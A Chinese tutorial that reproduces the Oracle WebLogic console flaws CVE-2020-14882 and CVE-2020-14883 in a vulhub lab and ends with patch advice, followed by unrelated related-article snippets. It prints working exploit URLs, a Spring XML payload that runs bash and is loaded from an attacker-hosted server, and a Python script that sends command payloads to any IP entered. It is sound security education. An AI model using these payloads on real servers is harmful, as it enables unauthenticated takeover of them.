Weblogic 管理控制臺未授權遠程命令執行漏洞(CVE-2020-14882,CVE-2020-14883)

1 漏洞概述

Weblogic Pre-Auth Remote Command Execution 漏洞(CVE-2020-14882, CVE-2020-14883)是針對 Oracle WebLogic Server 的兩個安全漏洞。CVE-2020-14882 允許遠程用戶繞過管理員控制臺組件中的身份驗證,而 CVE-2020-14883 則允許經過身份驗證的用戶在管理員控制臺組件上執行任意命令。這兩個漏洞結合使用,可以使遠程攻擊者在未經身份驗證的情況下接管 WebLogic Server Console 并執行任意代碼,對系統造成極大的安全風險。

2 漏洞原理

  1. CVE-2020-14882(未授權遠程命令執行漏洞):遠程攻擊者可以構造特殊的 HTTP 請求,利用 WebLogic Server Console 的路徑遍歷漏洞,訪問并修改管理員控制臺的某些資源。通過這種方式,攻擊者可以繞過身份驗證,直接訪問并操作管理員控制臺的功能。

  2. CVE-2020-14883(身份驗證后遠程命令執行漏洞):一旦攻擊者通過 CVE-2020-14882 漏洞獲得了對管理員控制臺的訪問權限,他們就可以利用 CVE-2020-14883 漏洞執行任意命令。這是因為管理員控制臺組件中存在一個命令執行功能,允許用戶通過 HTTP 請求提交并執行命令。由于該漏洞允許經過身份驗證的用戶執行任意命令,因此攻擊者可以在服務器上執行任何他們想要的代碼。

3 影響版本

該漏洞影響了多個版本的 Oracle WebLogic Server,包括但不限于 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0 和 12.2.1.4.0 等。

4 vulhub靶場啟動

進入漏洞文件
cd vulhub/weblogic/CVE-2020-14882/
啟動漏洞環境
docker compose up -d
查看漏洞端口
docker compose ps

訪問 ,您將看到頁面,表示環境正在成功運行。

5 漏洞復現

5.1 CVE-2020-14883:權限讓漏洞

攻擊者可以構造特殊請求的URL,即可未授權訪問到管理后臺頁面:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal

問后臺后是一個低權限的用戶,無法安裝應用,也無法直接執行任意代碼。

5.2 weblogic遠程命令執行(CVE-2020-14883)

結合 CVE-2020-14882 漏洞,遠程攻擊者可以構造特殊的HTTP請求,在未經身份驗證的情況下接管 WebLogic Server Console ,并在 WebLogic Server Console 執行任意代碼。

這個漏洞一共有兩種利用方法:

第一種方法是通過com.tangosol.coherence.mvel2.sh.ShellSession
第二種方法是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

5.2.1 第一種方法(weblogic 12.2.x 適用)

這個利用方法只能在Weblogic 12.2.1以上版本利用,因為10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession類。

5.2.1.1 GET請求方式(無回顯)

直接訪問如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession執行命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

執行docker-compose exec weblogic bash進入容器中,可見/tmp/success1已成功創建。

5.2.2 第二種方法(weblogic 版本通用)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一種更為通殺的方法,最早在CVE-2019-2725被提出,對于所有Weblogic版本均有效。
5.2.2.1 無回顯驗證

首先,我們需要構造一個XML文件,并將其保存在Weblogic可以訪問到的服務器上,在kali上啟動web服務器

python3 -m http.server

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>
?

然后通過如下URL,即可讓Weblogic加載這個XML,并執行其中的命令:

http://192.168.135.132:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.135.130:8000/rce.xml")

執行docker-compose exec weblogic bash進入容器中,可見/tmp/success2已成功創建。

6 編寫python腳本探測漏洞

import requests
?
def cve_2020_14882(ip_address):url = f"{ip_address}/console/images/%252E%252E%252Fconsole.portal"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3","Content-Type": "application/xml",}params = {"_nfpb": "true","_pageLabel": "HomePage1","handle": "com.tangosol.coherence.mvel2.sh.ShellSession(java.lang.String.join('', java.util.stream.Stream.of('i', 'd').map(it -> java.lang.Runtime.getRuntime().exec(it)).toArray()))",}
?response = requests.get(url, params=params, headers=headers, timeout=10)
?if response.status_code == 200:print("命令執行成功!")#print(response.text)else:print("命令執行失敗。")
?
if __name__ == "__main__":print("注意:本代碼僅用于實驗和學習目的,請謹慎使用。")ip_address = input("請輸入目標IP地址:")cve_2020_14882(ip_address)

結果

7 漏洞修復

為了修復這些漏洞,Oracle 發布了多個安全補丁。建議用戶盡快將 WebLogic Server 升級到最新版本,并應用所有可用的安全補丁。此外,用戶還可以采取以下措施來降低風險:

  1. 限制對管理員控制臺的訪問權限,只允許受信任的用戶進行訪問。

  2. 使用強密碼策略,并定期更改密碼。

  3. 啟用 WebLogic Server 的安全功能,如訪問控制和審計日志記錄等。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/12965.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/12965.shtml
英文地址,請注明出處:http://en.pswp.cn/web/12965.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python3 筆記:Python的函數

函數是編寫好的&#xff0c;可重復調用的&#xff0c;用來實現某一功能的一段代碼。 也可以理解為做某事的方法和步驟。第一次做的時候寫好了方法&#xff0c;下次同類型的事直接拿來就用。 Python 內部有很多功能強大的內置函數供我們使用&#xff0c;除此之外&#xff0c;你…

Nagle算法

Nagle算法簡介 Nagle算法主要是避免發送小的數據包&#xff0c;要求TCP連接上最多只能有一個未被確認的小分組&#xff0c;在該分組的確認到達之前不能發送其他的小分組。 在默認的情況下,Nagle算法是默認開啟的&#xff0c;Nagle算法比較適用于發送方發送大批量的小數據&…

Sam Blackshear談Move語言的起源

Move編程語言作為Sui生態系統的關鍵組成部分&#xff0c;通過可編程交易區塊等機制支持其獨特的對象數據模型&#xff0c;并支持高效的代碼。五年前&#xff0c;Mysten Labs的聯合創始人兼首席技術官Sam Blackshear創建了Move。他專門設計了Move&#xff0c;用于編寫智能合約&a…

數據庫SQL查詢語句匯總詳解

SQL是一種強大的編程語句&#xff0c;可用于操作和提取數據庫中的數據。如果你對編程語句有所讓步&#xff0c;那么你可能對SQL的力量感到難以置信。本文將帶你深入探索SQL查詢的世界&#xff0c;讓你了解SQL語句的各種查詢方式&#xff0c;并以實例進行詳解。 1. SELECT基礎查…

Iterator底層源碼分析

/** * Iterator用于遍歷Collection下的集合&#xff0c;Collection下的每個集合底層實現不一樣&#xff0c;意味著遍歷邏輯也不一樣&#xff0c; * 所以Java的設計者將Iterator設計成了接口&#xff0c;讓Collection下的每個集合實現Iterator */ public interface Iterator<…

英偉達的GPU(1)

又好久沒更新了,一方面是最近事情有點多,另一方面最近也確實有點懶。 之前我說要把硬件部分補完,要寫Nvidia的GPU,我估計一篇寫不完,所以先寫點。 早先的硬件文章可以參考: 上一篇:解讀神秘的華為昇騰910 (qq.com) 上上一篇Microsoft Maia (qq.com) 上上上篇Google的…

sqli-labs靶場第十四關

目錄 1&#xff1a;分析 找閉合符&#xff1a; 2&#xff1a;開始注入 報錯注入&#xff1a; 注入數據庫名&#xff1a; 注入表名&#xff1a; 注入列名&#xff1a; 注入具體值&#xff1a; 1&#xff1a;分析 經過我們的實驗發現當我們輸入的密碼后面存在雙引號時會報…

【C++】學習筆記——多態_1

文章目錄 十二、繼承8. 繼承和組合 十三、多態1. 多態的概念2. 多態的定義和實現虛函數重寫的兩個特殊情況override 和 ?nal 3. 多態的原理1. 虛函數表 未完待續 十二、繼承 8. 繼承和組合 我們已經知道了什么是繼承&#xff0c;那組合又是什么&#xff1f;下面這種情況就是…

英語學習筆記13——A new dress

A new dress 一件新連衣裙 詞匯 Vocabulary colour / color n. 顏色 v. 上色&#xff0c;涂色  英  美 顏色短語&#xff1a;green hand 新手      black tea 紅茶      white house 白宮      black sheep 害群之馬 英文顏色類詞匯&#xff1a; red 紅色…

鴻蒙開發接口Ability框架:【ApplicationContext】

ApplicationContext ApplicationContext模塊提供開發者應用級別的的上下文的能力&#xff0c;包括提供注冊及取消注冊應用內組件生命周期的監聽接口。 說明&#xff1a; 開發前請熟悉鴻蒙開發指導文檔&#xff1a; gitee.com/li-shizhen-skin/harmony-os/blob/master/README.m…

靜態IP代理:網絡世界的隱秘通道

在數字化時代&#xff0c;網絡安全和隱私保護日益受到重視。靜態IP代理作為一種網絡服務&#xff0c;為用戶提供了一個穩定且可預測的網絡連接方式&#xff0c;同時保護了用戶的在線身份。本文將從五個方面深入探討靜態IP代理的概念、優勢、應用場景、技術實現以及選擇時的考量…

C語言學習【printf函數和scanf函數】

C語言學習【printf函數和scanf函數】 printf()函數和scanf()函數可以讓用戶與程序交流&#xff0c;是輸入/輸出函數 printf()函數 請求printf()函數打印數據的指令要與待打印數據的類型相匹配。例如&#xff0c;打印整數時使用%d&#xff0c;打印字符時使用%c。這些符號被稱…

實戰項目技術點(1)

1、什么是REST&#xff1f; REST&#xff08;Representational State Transfer&#xff09;&#xff0c;表述性狀態轉換&#xff0c;它是一種軟件架構風格。傳統URL風格如下&#xff1a; http://localhost:8080/user/getById?id1 GET&#xff1a;查詢id為1的用戶 http://loc…

網絡常識一:常用工具

作為后端開發&#xff0c;特別是網絡游戲后端開發&#xff0c;經常需要處理各種現網問題&#xff0c;其中有不少是網絡相關的。 下面列舉的工具主要是在 linux 下的&#xff0c;診斷線上服務器問題的時候&#xff0c;往往是分秒必爭&#xff0c;所以這些工具都要用得很熟練&am…

程序在銀河麒麟系統下實現開機自啟及創建桌面快捷方式

目錄 1. 機器環境說明 2. 程序開機自啟動設置 2.桌面快捷方式設置 3. 附加說明 1. 機器環境說明 機器安裝的銀河麒麟操作系統屬性如下&#xff1a; 2. 程序開機自啟動設置 第1步&#xff1a;編寫一個腳本,用于自動化啟動&#xff0c;為便于后文描述&#xff0c;該腳本名稱…

干貨教程【軟件篇】| 免費實現游戲加速自由

需要這個游戲加速軟件的小伙伴可以關注一下文章底部公眾號&#xff0c;回復關鍵詞【zdjs】即可獲取。 該軟件可以實現免費的游戲加速&#xff0c;實測延遲低體驗好&#xff01; 建議看到后趕緊保存下來防止丟失&#xff01; 下面講一下該軟件安裝流程~ 通過鏈接可以得到下面…

2.go語言初始(二)

本篇博客涉及到go 的基礎數據類型、 go 語言中的運算符、轉義字符、格式化輸出、字符串操作 go 語言中的運算符 在 go 語言中&#xff0c;基本數據類型主要包括以下幾類&#xff1a;整數類型、浮點數類型、復數類型、布爾類型、字符串類型、字節類型&#xff08;byte&#xf…

Linux進程控制——Linux進程程序替換

前言&#xff1a;Linux進程控制包含了進程終止&#xff0c;進程等待&#xff0c;進程程序替換。走到現在我們也只剩下進程程序替換沒介紹了&#xff0c;那么讓我們來看看進程程序替換到底是什么&#xff01; 本篇主要內容&#xff1a; 替換原理 替換函數 實現簡易shell 我們所創…

【sql】sql中with as 介紹與使用jsqlparser解析sql

文章目錄 一. 定義二. 用法三. 解析 一. 定義 with A as (select * from class) 也就是將重復用到的大批量 的SQL語句&#xff0c;放到with as 中&#xff0c;加一個別名&#xff0c;在后面用到的時候就可以直接用。對于大批量的SQL數據&#xff0c;起到優化的作用。 with子句…

Broad Learning System (BLS) 寬度學習系統

寬度學習&#xff08;Broad Learning System, BLS&#xff09;是一種有效的神經網絡學習框架&#xff0c;旨在通過擴展網絡的寬度而不是深度來提高學習能力和效率。與傳統的深度學習相比&#xff0c;寬度學習通過堆疊多層特征節點和增強節點來構建網絡&#xff0c;從而避免了深…